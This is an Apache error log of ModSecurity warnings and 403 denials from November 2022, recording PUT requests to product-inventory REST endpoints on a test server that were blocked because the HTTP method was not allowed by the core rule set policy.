[Wed Nov 16 14:39:31.858638 2022] [:error] [pid 3064782] [client 79.50.106.79:53397] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3ToE5xMteM6atk@eiFZwAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:31.860092 2022] [:error] [pid 3064782] [client 79.50.106.79:53397] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3ToE5xMteM6atk@eiFZwAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:31.860269 2022] [:error] [pid 3064782] [client 79.50.106.79:53397] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3ToE5xMteM6atk@eiFZwAAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:31.866778 2022] [:error] [pid 3056964] [client 79.50.106.79:53396] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3ToE5u5Ti1lvApl-9zdEgAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:31.868841 2022] [:error] [pid 3056964] [client 79.50.106.79:53396] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3ToE5u5Ti1lvApl-9zdEgAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:31.868986 2022] [:error] [pid 3056964] [client 79.50.106.79:53396] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3ToE5u5Ti1lvApl-9zdEgAAAAE&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:44.401527 2022] [:error] [pid 3059383] [client 79.50.106.79:53403] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3ToICAGtUWF5Ke72EG8wAAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:44.403456 2022] [:error] [pid 3059383] [client 79.50.106.79:53403] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3ToICAGtUWF5Ke72EG8wAAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:44.403669 2022] [:error] [pid 3059383] [client 79.50.106.79:53403] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3ToICAGtUWF5Ke72EG8wAAAAAQ&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:44.413533 2022] [:error] [pid 3064827] [client 79.50.106.79:53399] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3ToIFO83@qk7GahsDm-QAAAAAg&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:44.414904 2022] [:error] [pid 3064827] [client 79.50.106.79:53399] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3ToIFO83@qk7GahsDm-QAAAAAg&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:39:44.415059 2022] [:error] [pid 3064827] [client 79.50.106.79:53399] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3ToIFO83@qk7GahsDm-QAAAAAg&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:44:27.868798 2022] [:error] [pid 3063132] [client 79.50.106.79:53789] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TpO83Il@SUkKT3nm0tjQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:44:27.870515 2022] [:error] [pid 3063132] [client 79.50.106.79:53789] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TpO83Il@SUkKT3nm0tjQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:44:27.870681 2022] [:error] [pid 3063132] [client 79.50.106.79:53789] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TpO83Il@SUkKT3nm0tjQAAAAY&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:44:27.876730 2022] [:error] [pid 3064141] [client 79.50.106.79:53790] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TpO8s62Xc3wODMm1er7AAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:44:27.878176 2022] [:error] [pid 3064141] [client 79.50.106.79:53790] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TpO8s62Xc3wODMm1er7AAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:44:27.878340 2022] [:error] [pid 3064141] [client 79.50.106.79:53790] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3TpO8s62Xc3wODMm1er7AAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:45:23.617150 2022] [:error] [pid 3064141] [client 79.50.106.79:53868] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tpc8s62Xc3wODMm1er8gAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:45:23.619124 2022] [:error] [pid 3064141] [client 79.50.106.79:53868] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tpc8s62Xc3wODMm1er8gAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:45:23.619340 2022] [:error] [pid 3064141] [client 79.50.106.79:53868] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3Tpc8s62Xc3wODMm1er8gAAAAc&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:45:23.624802 2022] [:error] [pid 3065221] [client 79.50.106.79:53867] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Tpc8a67ICUnU3pizapeAAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:45:23.626703 2022] [:error] [pid 3065221] [client 79.50.106.79:53867] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Tpc8a67ICUnU3pizapeAAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:45:23.626905 2022] [:error] [pid 3065221] [client 79.50.106.79:53867] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/6322f4392b28d1270d9d338a&quot;] [unique_id &quot;Y3Tpc8a67ICUnU3pizapeAAAAAA&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:46:37.562384 2022] [:error] [pid 3064782] [client 79.50.106.79:53931] [client 79.50.106.79] ModSecurity: Warning. Match of &quot;within %{tx.allowed_methods}&quot; against &quot;REQUEST_METHOD&quot; required. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-911-METHOD-ENFORCEMENT.conf&quot;] [line &quot;45&quot;] [id &quot;911100&quot;] [msg &quot;Method is not allowed by policy&quot;] [data &quot;PUT&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/METHOD_NOT_ALLOWED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A6&quot;] [tag &quot;OWASP_AppSensor/RE1&quot;] [tag &quot;PCI/12.1&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TpvZxMteM6atk@eiFZ3AAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:46:37.563907 2022] [:error] [pid 3064782] [client 79.50.106.79:53931] [client 79.50.106.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TpvZxMteM6atk@eiFZ3AAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
[Wed Nov 16 14:46:37.564215 2022] [:error] [pid 3064782] [client 79.50.106.79:53931] [client 79.50.106.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rest/partners/63183b1675134bd17edc6a61/products/updateInventory/&quot;] [unique_id &quot;Y3TpvZxMteM6atk@eiFZ3AAAAAI&quot;], referer: http://pms.test.indacotrentino.com/editProduct;partnerId=63183b1675134bd17edc6a61;productId=6322f4392b28d1270d9d338a
